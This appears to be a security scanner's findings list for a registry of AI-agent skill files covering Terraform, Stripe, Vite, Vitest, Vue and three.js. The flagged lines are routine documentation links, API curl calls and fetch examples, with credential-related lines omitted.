"https://app.terraform.io/api/v2/stack-deployment-runs/{run-id}/stack-deployment-steps" | \ - Network accessline 315
- Application ID matches the one in provider configuration - Subject matches: `organization:<org>:project:<project>:stack:<stack>:deployment:<deployment>` - Issuer is `https://app.terraform.io` - Network accessline 317
- Issuer is `https://app.terraform.io` - Network accessline 543
curl "https://app.terraform.io/api/v2/stack-deployment-steps/{step-id}/stack-diagnostics" - Network accessline 556
curl "https://app.terraform.io/api/v2/stack-deployment-steps/{step-id}/stack-diagnostics?stack_deployment_step_id={step-id}" - Network accessline 572
[Credential-related source omitted] - Network accessline 573
[Credential-related source omitted] - Network accessline 574
"https://app.terraform.io/api/v2/stack-deployment-steps/$APPLY_STEP/artifacts?name=apply-description" | \ - Network accessline 599
[Credential-related source omitted] - Network accessline 600
[Credential-related source omitted] - Network accessline 601
"https://app.terraform.io/api/v2/stack-deployment-steps/{step-id}" | \ - Network accessline 604
[Credential-related source omitted] - Network accessline 605
[Credential-related source omitted] - Network accessline 606
[Credential-related source omitted] - Network accessline 607
"https://app.terraform.io/api/v2/stack-deployment-steps/{step-id}/artifacts?name=apply-description" - Network accessline 620
[Credential-related source omitted] - Network accessline 621
[Credential-related source omitted] - Network accessline 622
"https://app.terraform.io/api/v2/stack-deployment-steps/{step-id}/artifacts?name=apply-description" - Network accessline 624
# Python requests: allow_redirects=True (default) import requests response = requests.get(url, headers=headers, allow_redirects=True) - Network accessline 626
response = requests.get(url, headers=headers, allow_redirects=True) - Network accessline 628
# Node.js fetch: redirect: 'follow' (default) const response = await fetch(url, { - Network accessline 629
const response = await fetch(url, { - Network accessline 646
[Credential-related source omitted] - Network accessline 647
[Credential-related source omitted] - Network accessline 648
[Credential-related source omitted] - Network accessline 649
"https://app.terraform.io/api/v2/stack-deployment-steps/{step-id}/artifacts?name=apply-debug-log" - Network accessline 654
If experiencing widespread issues, check HCP Terraform status page: - https://status.hashicorp.com - Network accessline 655
- https://status.hashicorp.com
packages/autoskills/skills-registry/terraform-style-guide/SECURITY.md
- Network accessline 58
Ephemeral resources prevent sensitive data being stored in state. For more information on ephemeral resources, see the [Terraform documentation](https://developer.hashicorp.com/terraform/language/block/ephemeral). - Network accessline 60
[Terraform documentation](https://developer.hashicorp.com/terraform/language/block/ephemeral).
packages/autoskills/skills-registry/terraform-style-guide/SKILL.md
packages/autoskills/skills-registry/threejs-loaders/SKILL.md
- Network accessline 234
const dracoLoader = new DRACOLoader(); dracoLoader.setDecoderPath( "https://www.gstatic.com/draco/versioned/decoders/1.5.6/", - Network accessline 235
dracoLoader.setDecoderPath( "https://www.gstatic.com/draco/versioned/decoders/1.5.6/", ); - Network accessline 236
"https://www.gstatic.com/draco/versioned/decoders/1.5.6/", - Network accessline 254
const ktx2Loader = new KTX2Loader(); ktx2Loader.setTranscoderPath( "https://cdn.jsdelivr.net/npm/three@0.160.0/examples/jsm/libs/basis/", - Network accessline 255
ktx2Loader.setTranscoderPath( "https://cdn.jsdelivr.net/npm/three@0.160.0/examples/jsm/libs/basis/", ); - Network accessline 256
"https://cdn.jsdelivr.net/npm/three@0.160.0/examples/jsm/libs/basis/", - Network accessline 527
// From fetch const response = await fetch("model.glb"); - Network accessline 528
const response = await fetch("model.glb"); - Network accessline 548
// Custom URL modifier manager.setURLModifier((url) => { return `https://cdn.example.com/${url}`; - Network accessline 549
manager.setURLModifier((url) => { return `https://cdn.example.com/${url}`; }); - Network accessline 550
return `https://cdn.example.com/${url}`; - Network accessline 584
try { const response = await fetch(url, { signal: controller.signal }); - Network accessline 585
const response = await fetch(url, { signal: controller.signal });
packages/autoskills/skills-registry/triage-bug/assets/spec-skeletons/reproduction_spec.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/upgrade-stripe/SKILL.md
- Network accessline 13
If the user specifies a target API version, use it. Otherwise, look up the current version on docs.stripe.com with any documentation or web tool available to you, for example `stripe docs /api/versioning` with the Stripe CLI. The [API versi - Network accessline 21
For SDKs that support explicit API version overrides, use the selected target in client configuration and per-request overrides. Use it in curl `Stripe-Version` test headers, too. Replace bundled API versions shown in those examples with th - Network accessline 45
Review the [API changelog](https://docs.stripe.com/changelog.md) for all changes between versions. See [API upgrades](https://docs.stripe.com/upgrades.md) for the full upgrade guide. - Network accessline 49
See [Set a Stripe API version for your SDK](https://docs.stripe.com/sdks/set-version.md) for details on setting an API version in code. - Network accessline 101
See [Stripe.js Versioning](https://docs.stripe.com/sdks/stripejs-versioning.md) for details. - Network accessline 110
<script src="https://js.stripe.com/endive/stripe.js"></script> - Network accessline 139
See [Mobile SDK Versioning](https://docs.stripe.com/sdks/mobile-sdk-versioning.md) for details. - Network accessline 164
1. Review the [API changelog](https://docs.stripe.com/changelog.md) for changes between your current and target versions - Network accessline 165
2. Check the [API upgrades guide](https://docs.stripe.com/upgrades.md) for migration guidance - Network accessline 167
4. Update the `apiVersion` parameter in your Stripe client initialization 5. Test your integration against the new API version using the `Stripe-Version` header 6. For each destination that receives snapshot events, review its configured AP - Network accessline 168
5. Test your integration against the new API version using the `Stripe-Version` header 6. For each destination that receives snapshot events, review its configured API version. For webhook endpoints, follow [webhook versioning](https://docs - Network accessline 169
6. For each destination that receives snapshot events, review its configured API version. For webhook endpoints, follow [webhook versioning](https://docs.stripe.com/webhooks/versioning.md). For every v2 snapshot event destination — includin - Network accessline 179
curl https://api.stripe.com/v1/customers \ - Network accessline 194
- For supported event types, follow the [migration guide](https://docs.stripe.com/webhooks/migrate-snapshot-to-thin-events.md) to move from snapshot events to thin events. After migration, webhook payloads no longer depend on API version up - Network accessline 197
- Breaking changes are tagged by affected product areas (Payments, Billing, Connect, etc.) - Multiple API versions coexist simultaneously, enabling staged adoption - For 72 hours after upgrading, you can roll back to your previous API versi - Network accessline 199
- For 72 hours after upgrading, you can roll back to your previous API version in [Workbench](https://dashboard.stripe.com/workbench/overview)
packages/autoskills/skills-registry/use-ai-sdk/SKILL.md
- Network accessline 10
- Repository: https://github.com/vercel/ai - Network accessline 11
- Documentation: https://ai-sdk.dev/docs - Network accessline 24
2. Read and grep the bundled docs at `node_modules/ai/docs/` (or `<package>/node_modules/ai/docs/`) and the source at `node_modules/ai/src/`. 3. Provider and framework packages bundle their own docs at `node_modules/@ai-sdk/<name>/docs/` (o - Network accessline 25
3. Provider and framework packages bundle their own docs at `node_modules/@ai-sdk/<name>/docs/` (or `<package>/node_modules/@ai-sdk/<name>/docs/`). 4. If something isn't in the bundled docs, search https://ai-sdk.dev/docs. You can append `. - Network accessline 26
4. If something isn't in the bundled docs, search https://ai-sdk.dev/docs. You can append `.md` to any docs page URL to get its markdown, and search via `https://ai-sdk.dev/api/search-docs?q=your_query`. - Access to secretsline 36
[Credential-related source omitted] - Network accessline 46
# All available models curl -s https://ai-gateway.vercel.sh/v1/models | jq -r '.data[].id' - Network accessline 47
curl -s https://ai-gateway.vercel.sh/v1/models | jq -r '.data[].id' - Network accessline 49
# Filter by provider (e.g. anthropic, openai, google) curl -s https://ai-gateway.vercel.sh/v1/models | jq -r '[.data[] | select(.id | startswith("anthropic/")) | .id] | reverse | .[]' - Network accessline 50
curl -s https://ai-gateway.vercel.sh/v1/models | jq -r '[.data[] | select(.id | startswith("anthropic/")) | .id] | reverse | .[]' - Network accessline 59
Look up the current agent, tool, and type-safety APIs in the bundled docs (`node_modules/ai/docs/`, especially the agents section) or at https://ai-sdk.dev/docs. - Network accessline 74
If the installed version is a major version (or more) behind the latest, tell the user they are on an old release, and recommend upgrading before continuing. Migration guides are at https://ai-sdk.dev/docs/migration-guides.
packages/autoskills/skills-registry/vite/SKILL.md
- Network accessline 5
author: Anthony Fu version: "2026.9.25" source: Generated from https://github.com/vitejs/vite, scripts at https://github.com/antfu/skills - Network accessline 6
version: "2026.9.25" source: Generated from https://github.com/vitejs/vite, scripts at https://github.com/antfu/skills --- - Network accessline 7
source: Generated from https://github.com/vitejs/vite, scripts at https://github.com/antfu/skills - Network accessline 59
plugins: [], resolve: { alias: { '@': '/src' } }, server: { port: 3000, proxy: { '/api': 'http://localhost:8080' } }, - Network accessline 60
resolve: { alias: { '@': '/src' } }, server: { port: 3000, proxy: { '/api': 'http://localhost:8080' } }, build: { target: 'esnext', outDir: 'dist' }, - Network accessline 61
server: { port: 3000, proxy: { '/api': 'http://localhost:8080' } },
packages/autoskills/skills-registry/vite/references/build-and-ssr.md
- Network accessline 92
- **Nuxt** (Vue) - https://nuxt.com - Network accessline 93
- **SvelteKit** (Svelte) - https://svelte.dev/docs/kit - Network accessline 94
- **SolidStart** (Solid) - https://start.solidjs.com - Network accessline 95
- **TanStack Start** (React) - https://tanstack.com/start - Network accessline 99
**Need a server?** Consider [Nitro](https://nitro.build) -- think of it as "Vite for servers." Nitro provides a portable, framework-agnostic server layer with file-based API routing, auto-imports, and deployment presets for dozens of platfo - Network accessline 170
<!-- Source references: - https://vite.dev/guide/build - Network accessline 171
Source references: - https://vite.dev/guide/build - https://vite.dev/guide/api-javascript - Network accessline 172
- https://vite.dev/guide/build - Network accessline 173
- https://vite.dev/guide/api-javascript - Network accessline 174
- https://nitro.build
packages/autoskills/skills-registry/vite/references/core-config.md
- Network accessline 127
proxy: { '/api': { target: 'http://localhost:3000', - Network accessline 128
'/api': { target: 'http://localhost:3000', changeOrigin: true, - Network accessline 129
target: 'http://localhost:3000', - Network accessline 162
Enable [Vite DevTools](https://github.com/vitejs/devtools) integration (requires `@vitejs/devtools*` packages). Cannot be set from a plugin `config` hook. - Network accessline 189
<!-- Source references: - https://vite.dev/config/ - Network accessline 190
Source references: - https://vite.dev/config/ - https://vite.dev/guide/ - Network accessline 191
- https://vite.dev/config/ - Network accessline 192
- https://vite.dev/guide/
packages/autoskills/skills-registry/vite/references/core-features.md
- Network accessline 130
[Credential-related source omitted] - Access to secretsline 130
[Credential-related source omitted] - Network accessline 131
VITE_API_URL=https://api.example.com - Access to secretsline 143
[Credential-related source omitted] - Network accessline 233
<!-- Source references: - https://vite.dev/guide/features - Network accessline 234
Source references: - https://vite.dev/guide/features - https://vite.dev/guide/env-and-mode - Network accessline 235
- https://vite.dev/guide/features - Network accessline 236
- https://vite.dev/guide/env-and-mode - Network accessline 237
- https://vite.dev/guide/assets - Network accessline 238
- https://vite.dev/guide/api-hmr
packages/autoskills/skills-registry/vite/references/core-plugin-api.md
packages/autoskills/skills-registry/vite/references/environment-api.md
- Network accessline 143
<!-- Source references: - https://vite.dev/guide/api-environment - Network accessline 144
Source references: - https://vite.dev/guide/api-environment - https://vite.dev/guide/api-environment-frameworks - Network accessline 145
- https://vite.dev/guide/api-environment - Network accessline 146
- https://vite.dev/guide/api-environment-frameworks - Network accessline 147
- https://vite.dev/guide/api-environment-plugins - Network accessline 148
- https://vite.dev/guide/api-environment-runtimes - Network accessline 149
- https://vite.dev/blog/announcing-vite6
packages/autoskills/skills-registry/vite/references/rolldown-migration.md
- Network accessline 8
Vite 8 replaces esbuild + Rollup with [Rolldown](https://rolldown.rs/) (Rust bundler) and [Oxc](https://oxc.rs/) (Rust transformer/minifier). - Network accessline 101
- **`build()` throws `BundleError`** (JS API): typed `Error & { errors?: RolldownError[] }`. Access individual errors via `e.errors`. - **`build.rollupOptions.output.manualChunks`**: object form removed, function form deprecated. Use Rolldo - Network accessline 102
- **`build.rollupOptions.output.manualChunks`**: object form removed, function form deprecated. Use Rolldown's [`codeSplitting`](https://rolldown.rs/reference/OutputOptions.codeSplitting). - Network accessline 167
<!-- Source references: - https://vite.dev/guide/migration - Network accessline 168
Source references: - https://vite.dev/guide/migration - https://vite.dev/blog/announcing-vite8 - Network accessline 169
- https://vite.dev/guide/migration - Network accessline 170
- https://vite.dev/blog/announcing-vite8 - Network accessline 171
- https://vite.dev/config/shared-options#oxc
packages/autoskills/skills-registry/vitest/SKILL.md
- Network accessline 5
author: Anthony Fu version: "2026.9.25" source: Generated from https://github.com/vitest-dev/vitest, scripts located at https://github.com/antfu/skills - Network accessline 6
version: "2026.9.25" source: Generated from https://github.com/vitest-dev/vitest, scripts located at https://github.com/antfu/skills --- - Network accessline 7
source: Generated from https://github.com/vitest-dev/vitest, scripts located at https://github.com/antfu/skills
packages/autoskills/skills-registry/vitest/references/advanced-environments.md
- Network accessline 24
environmentOptions: { jsdom: { url: 'http://localhost', - Network accessline 25
jsdom: { url: 'http://localhost', }, - Network accessline 26
url: 'http://localhost', - Network accessline 85
environmentOptions: { jsdom: { url: 'http://localhost:3000', - Network accessline 86
jsdom: { url: 'http://localhost:3000', html: '<!DOCTYPE html><html><body></body></html>', - Network accessline 87
url: 'http://localhost:3000', - Network accessline 269
<!-- Source references: - https://vitest.dev/guide/environment.html - Network accessline 270
Source references: - https://vitest.dev/guide/environment.html --> - Network accessline 271
- https://vitest.dev/guide/environment.html
packages/autoskills/skills-registry/vitest/references/advanced-projects.md
- Network accessline 237
name: 'staging', provide: { apiUrl: 'https://staging.api.com', - Network accessline 238
provide: { apiUrl: 'https://staging.api.com', debug: true, - Network accessline 239
apiUrl: 'https://staging.api.com', - Network accessline 246
name: 'production', provide: { apiUrl: 'https://api.com', - Network accessline 247
provide: { apiUrl: 'https://api.com', debug: false, - Network accessline 248
apiUrl: 'https://api.com', - Network accessline 338
<!-- Source references: - https://vitest.dev/guide/projects.html - Network accessline 339
Source references: - https://vitest.dev/guide/projects.html --> - Network accessline 340
- https://vitest.dev/guide/projects.html
packages/autoskills/skills-registry/vitest/references/advanced-type-testing.md
- Network accessline 235
<!-- Source references: - https://vitest.dev/guide/testing-types.html - Network accessline 236
Source references: - https://vitest.dev/guide/testing-types.html - https://vitest.dev/api/expect-typeof.html - Network accessline 237
- https://vitest.dev/guide/testing-types.html - Network accessline 238
- https://vitest.dev/api/expect-typeof.html
packages/autoskills/skills-registry/vitest/references/advanced-vi.md
packages/autoskills/skills-registry/vitest/references/core-cli.md
packages/autoskills/skills-registry/vitest/references/core-config.md
- Network accessline 212
<!-- Source references: - https://vitest.dev/guide/#configuring-vitest - Network accessline 213
Source references: - https://vitest.dev/guide/#configuring-vitest - https://vitest.dev/config/ - Network accessline 214
- https://vitest.dev/guide/#configuring-vitest - Network accessline 215
- https://vitest.dev/config/
packages/autoskills/skills-registry/vitest/references/core-describe.md
packages/autoskills/skills-registry/vitest/references/core-expect.md
- Network accessline 227
await expect.poll(async ({ signal }) => { const res = await fetch('/api/status', { signal }) - Network accessline 228
const res = await fetch('/api/status', { signal }) - Network accessline 306
<!-- Source references: - https://vitest.dev/api/expect.html - Network accessline 307
Source references: - https://vitest.dev/api/expect.html - https://vitest.dev/guide/recipes/type-narrowing - Network accessline 308
- https://vitest.dev/api/expect.html - Network accessline 309
- https://vitest.dev/guide/recipes/type-narrowing - Network accessline 310
- https://vitest.dev/guide/recipes/schema-matching
packages/autoskills/skills-registry/vitest/references/core-hooks.md
packages/autoskills/skills-registry/vitest/references/core-test-api.md
- Network accessline 181
// signal (3.2+): AbortSignal aborted on timeout/cancel/bail test('aborts on timeout', async ({ signal }) => { await fetch('/resource', { signal }) - Network accessline 182
test('aborts on timeout', async ({ signal }) => { await fetch('/resource', { signal }) }, 2000) - Network accessline 183
await fetch('/resource', { signal }) - Network accessline 264
<!-- Source references: - https://vitest.dev/api/test.html - Network accessline 265
Source references: - https://vitest.dev/api/test.html --> - Network accessline 266
- https://vitest.dev/api/test.html
packages/autoskills/skills-registry/vitest/references/features-benchmarking.md
- Network accessline 8
In v5 the benchmark API was rewritten: `bench` is **no longer a top-level import**. It is a [test-context fixture](features-context.md) used inside a regular `test()`, available only in files matched by `benchmark.include` (default `**/*.{b - Network accessline 59
bench('current', { writeResult: './benchmarks/parse.json' }, () => parse(input)), bench.from('previous', './benchmarks/parse.json'), // reads a stored result, no run bench.from('remote', () => fetch(url).then(r => r.json())), - Network accessline 60
bench.from('previous', './benchmarks/parse.json'), // reads a stored result, no run bench.from('remote', () => fetch(url).then(r => r.json())), ) - Network accessline 61
bench.from('remote', () => fetch(url).then(r => r.json())), - Network accessline 96
<!-- Source references: - https://vitest.dev/guide/benchmarking - Network accessline 97
Source references: - https://vitest.dev/guide/benchmarking - https://vitest.dev/guide/test-context#bench - Network accessline 98
- https://vitest.dev/guide/benchmarking - Network accessline 99
- https://vitest.dev/guide/test-context#bench
packages/autoskills/skills-registry/vitest/references/features-concurrency.md
- Network accessline 219
<!-- Source references: - https://vitest.dev/guide/parallelism.html - Network accessline 220
Source references: - https://vitest.dev/guide/parallelism.html - https://vitest.dev/guide/improving-performance.html - Network accessline 221
- https://vitest.dev/guide/parallelism.html - Network accessline 222
- https://vitest.dev/guide/improving-performance.html
packages/autoskills/skills-registry/vitest/references/features-context.md
- Network accessline 62
return db }) .extend('baseUrl', { injected: true }, () => 'http://localhost:3000') // overridable via config - Network accessline 64
.extend('baseUrl', { injected: true }, () => 'http://localhost:3000') // overridable via config - Network accessline 76
await page.close() // cleanup after }, baseUrl: 'http://localhost:3000', - Network accessline 77
}, baseUrl: 'http://localhost:3000', }) - Network accessline 78
baseUrl: 'http://localhost:3000', - Network accessline 102
test: { projects: [ { test: { name: 'prod', provide: { url: 'https://prod' } } }, - Network accessline 103
projects: [ { test: { name: 'prod', provide: { url: 'https://prod' } } }, ], - Network accessline 104
{ test: { name: 'prod', provide: { url: 'https://prod' } } }, - Network accessline 122
test('uses prod config', ({ server }) => { expect(server.url).toBe('http://api.example.com:8080') - Network accessline 123
expect(server.url).toBe('http://api.example.com:8080') - Network accessline 160
<!-- Source references: - https://vitest.dev/guide/test-context.html - Network accessline 161
Source references: - https://vitest.dev/guide/test-context.html --> - Network accessline 162
- https://vitest.dev/guide/test-context.html
packages/autoskills/skills-registry/vitest/references/features-coverage.md
- Network accessline 204
- **Glob thresholds don't inherit top-level `perFile`** — set `perFile` on each glob that needs it. - **`coverage.autoAttachSubprocess`** (v8) tracks child-process/worker-thread coverage. - **Istanbul moved to the maintained [`@vitest/istan - Network accessline 206
- **Istanbul moved to the maintained [`@vitest/istanbuljs`](https://github.com/vitest-dev/istanbuljs) fork**; the v8 provider merges reports with bounded memory. - Network accessline 223
<!-- Source references: - https://vitest.dev/guide/coverage.html - Network accessline 224
Source references: - https://vitest.dev/guide/coverage.html --> - Network accessline 225
- https://vitest.dev/guide/coverage.html
packages/autoskills/skills-registry/vitest/references/features-filtering.md
- Network accessline 208
<!-- Source references: - https://vitest.dev/guide/filtering.html - Network accessline 209
Source references: - https://vitest.dev/guide/filtering.html - https://vitest.dev/guide/cli.html - Network accessline 210
- https://vitest.dev/guide/filtering.html - Network accessline 211
- https://vitest.dev/guide/cli.html
packages/autoskills/skills-registry/vitest/references/features-mocking.md
- Network accessline 163
test('dynamic mock', async () => { vi.doMock('./config', () => ({ apiUrl: 'http://test.local', - Network accessline 164
vi.doMock('./config', () => ({ apiUrl: 'http://test.local', })) - Network accessline 165
apiUrl: 'http://test.local', - Network accessline 168
const { apiUrl } = await import('./config') expect(apiUrl).toBe('http://test.local') - Network accessline 169
expect(apiUrl).toBe('http://test.local') - Access to secretsline 251
[Credential-related source omitted] - Access to secretsline 252
[Credential-related source omitted] - Network accessline 328
<!-- Source references: - https://vitest.dev/guide/mocking.html - Network accessline 329
Source references: - https://vitest.dev/guide/mocking.html - https://vitest.dev/api/vi.html - Network accessline 330
- https://vitest.dev/guide/mocking.html - Network accessline 331
- https://vitest.dev/api/vi.html - Network accessline 332
- https://vitest.dev/guide/recipes/conditional-mocking - Network accessline 333
- https://vitest.dev/guide/recipes/explicit-resources
packages/autoskills/skills-registry/vitest/references/features-reporters.md
- Network accessline 106
<!-- Source references: - https://vitest.dev/guide/reporters - Network accessline 107
Source references: - https://vitest.dev/guide/reporters - https://vitest.dev/config/reporters - Network accessline 108
- https://vitest.dev/guide/reporters - Network accessline 109
- https://vitest.dev/config/reporters
packages/autoskills/skills-registry/vitest/references/features-snapshots.md
- Network accessline 248
<!-- Source references: - https://vitest.dev/guide/snapshot.html - Network accessline 249
Source references: - https://vitest.dev/guide/snapshot.html - https://vitest.dev/api/expect.html#tomatchsnapshot - Network accessline 250
- https://vitest.dev/guide/snapshot.html - Network accessline 251
- https://vitest.dev/api/expect.html#tomatchsnapshot - Network accessline 252
- https://vitest.dev/guide/browser/aria-snapshots
packages/autoskills/skills-registry/vitest/references/features-test-tags.md
- Network accessline 119
<!-- Source references: - https://vitest.dev/guide/test-tags - Network accessline 120
Source references: - https://vitest.dev/guide/test-tags - https://vitest.dev/config/tags - Network accessline 121
- https://vitest.dev/guide/test-tags - Network accessline 122
- https://vitest.dev/config/tags
packages/autoskills/skills-registry/vue-best-practices/references/reactivity.md
- Network accessline 263
A computed getter should only derive a value. No mutation, no API calls, no storage writes, no event emits. ([Reference](https://vuejs.org/guide/essentials/computed.html#best-practices)) - Network accessline 264
([Reference](https://vuejs.org/guide/essentials/computed.html#best-practices)) - Network accessline 338
const res = await fetch(`/api/search?q=${encodeURIComponent(q)}`, {
packages/autoskills/skills-registry/vue-best-practices/references/sfc.md
packages/autoskills/skills-registry/vue-best-practices/references/updated-hook-performance.md
- Network accessline 31
updated() { // This runs after every single state change! fetch('/api/sync', { - Network accessline 32
// This runs after every single state change! fetch('/api/sync', { method: 'POST', - Network accessline 33
fetch('/api/sync', { - Network accessline 83
methods: { syncToServer: debounce(function(items) { fetch('/api/sync', { - Network accessline 84
syncToServer: debounce(function(items) { fetch('/api/sync', { method: 'POST', - Network accessline 85
fetch('/api/sync', { - Network accessline 108
const syncToServer = useDebounceFn((items) => { fetch('/api/sync', { method: 'POST', body: JSON.stringify(items) }) - Network accessline 109
fetch('/api/sync', { method: 'POST', body: JSON.stringify(items) })
packages/autoskills/skills-registry/vue-debug-guides/reference/animation-key-for-rerender.md
- Network accessline 157
## Reference - [Vue.js Animation Techniques](https://vuejs.org/guide/extras/animation.html) - Network accessline 158
- [Vue.js Animation Techniques](https://vuejs.org/guide/extras/animation.html) - Network accessline 159
- [AutoAnimate with Vue](https://auto-animate.formkit.com/#usage-vue) - Network accessline 160
- [Vue.js v-for with key](https://vuejs.org/guide/essentials/list.html#maintaining-state-with-key)
packages/autoskills/skills-registry/vue-debug-guides/reference/animation-transitiongroup-performance.md
- Network accessline 238
## Reference - [Vue.js TransitionGroup](https://vuejs.org/guide/built-ins/transition-group.html) - Network accessline 239
- [Vue.js TransitionGroup](https://vuejs.org/guide/built-ins/transition-group.html) - Network accessline 240
- [GitHub Issue: transition-group DOM update lag](https://github.com/vuejs/vue/issues/5845) - Network accessline 241
- [Vue Virtual Scroller](https://github.com/Akryum/vue-virtual-scroller)
packages/autoskills/skills-registry/vue-debug-guides/reference/async-component-error-handling.md
packages/autoskills/skills-registry/vue-debug-guides/reference/async-component-keepalive-ref-issue.md
packages/autoskills/skills-registry/vue-debug-guides/reference/async-component-vue-router.md
packages/autoskills/skills-registry/vue-debug-guides/reference/attrs-event-listener-merging.md
packages/autoskills/skills-registry/vue-debug-guides/reference/checkbox-true-false-value-form-submission.md
- Network accessline 88
await fetch('/api/update', { - Network accessline 117
## Reference - [Vue.js Form Input Bindings - Checkbox](https://vuejs.org/guide/essentials/forms.html#checkbox) - Network accessline 118
- [Vue.js Form Input Bindings - Checkbox](https://vuejs.org/guide/essentials/forms.html#checkbox)
packages/autoskills/skills-registry/vue-debug-guides/reference/cleanup-side-effects.md
- Network accessline 170
## Reference - [Vue.js Lifecycle Hooks](https://vuejs.org/guide/essentials/lifecycle.html) - Network accessline 171
- [Vue.js Lifecycle Hooks](https://vuejs.org/guide/essentials/lifecycle.html) - Network accessline 172
- [VueUse - useEventListener](https://vueuse.org/core/useEventListener/)
packages/autoskills/skills-registry/vue-debug-guides/reference/click-events-on-components.md
- Network accessline 177
## Reference - [Vue.js Component Events](https://vuejs.org/guide/components/events.html) - Network accessline 178
- [Vue.js Component Events](https://vuejs.org/guide/components/events.html) - Network accessline 179
- [Vue.js Fallthrough Attributes](https://vuejs.org/guide/components/attrs.html) - Network accessline 180
- [Vue 3 Migration - .native Modifier Removed](https://v3-migration.vuejs.org/breaking-changes/v-on-native-modifier-removed.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/component-naming-conflicts.md
- Network accessline 157
## Reference - [Vue.js Component Registration](https://vuejs.org/guide/components/registration.html) - Network accessline 158
- [Vue.js Component Registration](https://vuejs.org/guide/components/registration.html) - Network accessline 159
- [GitHub Issue: Global component naming conflicts](https://github.com/vuejs/vue/issues/4434)
packages/autoskills/skills-registry/vue-debug-guides/reference/component-ref-requires-defineexpose.md
- Network accessline 174
## Reference - [Vue.js Component Refs](https://vuejs.org/guide/essentials/template-refs.html#ref-on-component) - Network accessline 175
- [Vue.js Component Refs](https://vuejs.org/guide/essentials/template-refs.html#ref-on-component) - Network accessline 176
- [Script Setup - defineExpose](https://vuejs.org/api/sfc-script-setup.html#defineexpose)
packages/autoskills/skills-registry/vue-debug-guides/reference/composable-avoid-hidden-side-effects.md
- Network accessline 184
async function fetch(url) { - Network accessline 206
## Reference - [Vue.js Composables](https://vuejs.org/guide/reusability/composables.html) - Network accessline 207
- [Vue.js Composables](https://vuejs.org/guide/reusability/composables.html) - Network accessline 208
- [Common Mistakes Creating Composition Functions](https://www.telerik.com/blogs/common-mistakes-creating-composition-functions-vue)
packages/autoskills/skills-registry/vue-debug-guides/reference/composable-call-location-restrictions.md
- Network accessline 75
// Either fetch in onMounted or use a composable designed for arrays onMounted(async () => { results.value = await Promise.all(urls.value.map(url => fetch(url))) - Network accessline 76
onMounted(async () => { results.value = await Promise.all(urls.value.map(url => fetch(url))) }) - Network accessline 77
results.value = await Promise.all(urls.value.map(url => fetch(url))) - Network accessline 139
## Reference - [Vue.js Composables - Usage Restrictions](https://vuejs.org/guide/reusability/composables.html#usage-restrictions) - Network accessline 140
- [Vue.js Composables - Usage Restrictions](https://vuejs.org/guide/reusability/composables.html#usage-restrictions) - Network accessline 141
- [Vue.js Composition API - Setup Context](https://vuejs.org/api/composition-api-setup.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/composable-naming-return-pattern.md
- Network accessline 137
## Reference - [Vue.js Composables - Conventions and Best Practices](https://vuejs.org/guide/reusability/composables.html#conventions-and-best-practices) - Network accessline 138
- [Vue.js Composables - Conventions and Best Practices](https://vuejs.org/guide/reusability/composables.html#conventions-and-best-practices) - Network accessline 139
- [Vue.js Composables - Return Values](https://vuejs.org/guide/reusability/composables.html#return-values)
packages/autoskills/skills-registry/vue-debug-guides/reference/composable-tovalue-inside-watcheffect.md
- Network accessline 35
try { // urlValue is a static string - no dependency tracked! const response = await fetch(urlValue) - Network accessline 36
// urlValue is a static string - no dependency tracked! const response = await fetch(urlValue) data.value = await response.json() - Network accessline 37
const response = await fetch(urlValue) - Network accessline 68
try { const response = await fetch(urlValue) - Network accessline 69
const response = await fetch(urlValue) - Network accessline 180
## Reference - [Vue.js Reactivity API - toValue](https://vuejs.org/api/reactivity-utilities.html#tovalue) - Network accessline 181
- [Vue.js Reactivity API - toValue](https://vuejs.org/api/reactivity-utilities.html#tovalue) - Network accessline 182
- [Vue.js Composables - Accepting Ref Arguments](https://vuejs.org/guide/reusability/composables.html#accepting-reactive-state)
packages/autoskills/skills-registry/vue-debug-guides/reference/composition-api-not-functional-programming.md
- Network accessline 118
## Reference - [Composition API FAQ](https://vuejs.org/guide/extras/composition-api-faq.html) - Network accessline 119
- [Composition API FAQ](https://vuejs.org/guide/extras/composition-api-faq.html) - Network accessline 120
- [Reactivity Fundamentals](https://vuejs.org/guide/essentials/reactivity-fundamentals.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/composition-api-script-setup-async-context.md
- Network accessline 200
## Reference - [Composition API FAQ - Async Setup](https://vuejs.org/guide/extras/composition-api-faq.html) - Network accessline 201
- [Composition API FAQ - Async Setup](https://vuejs.org/guide/extras/composition-api-faq.html) - Network accessline 202
- [Composables - Async Without Await](https://antfu.me/posts/async-with-composition-api) - Network accessline 203
- [Suspense](https://vuejs.org/guide/built-ins/suspense.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/composition-api-vs-react-hooks-differences.md
- Network accessline 154
## Reference - [Composition API FAQ - Relationship with React Hooks](https://vuejs.org/guide/extras/composition-api-faq.html#relationship-with-react-hooks) - Network accessline 155
- [Composition API FAQ - Relationship with React Hooks](https://vuejs.org/guide/extras/composition-api-faq.html#relationship-with-react-hooks) - Network accessline 156
- [Reactivity Fundamentals](https://vuejs.org/guide/essentials/reactivity-fundamentals.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/computed-array-mutation.md
- Network accessline 146
## Reference - [Vue.js Computed Properties - Avoid Mutating Computed Value](https://vuejs.org/guide/essentials/computed.html#avoid-mutating-computed-value) - Network accessline 147
- [Vue.js Computed Properties - Avoid Mutating Computed Value](https://vuejs.org/guide/essentials/computed.html#avoid-mutating-computed-value) - Network accessline 148
- [MDN Array Methods](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)
packages/autoskills/skills-registry/vue-debug-guides/reference/computed-conditional-dependencies.md
- Network accessline 145
## Reference - [Vue.js Reactivity in Depth](https://vuejs.org/guide/extras/reactivity-in-depth.html) - Network accessline 146
- [Vue.js Reactivity in Depth](https://vuejs.org/guide/extras/reactivity-in-depth.html) - Network accessline 147
- [GitHub Discussion: Dependency collection gotcha with conditionals](https://github.com/vuejs/Discussion/issues/15)
packages/autoskills/skills-registry/vue-debug-guides/reference/computed-no-parameters.md
- Network accessline 157
## Reference - [Vue.js Computed Properties](https://vuejs.org/guide/essentials/computed.html) - Network accessline 158
- [Vue.js Computed Properties](https://vuejs.org/guide/essentials/computed.html) - Network accessline 159
- [Vue.js Methods](https://vuejs.org/guide/essentials/reactivity-fundamentals.html#declaring-methods)
packages/autoskills/skills-registry/vue-debug-guides/reference/computed-no-side-effects.md
- Network accessline 38
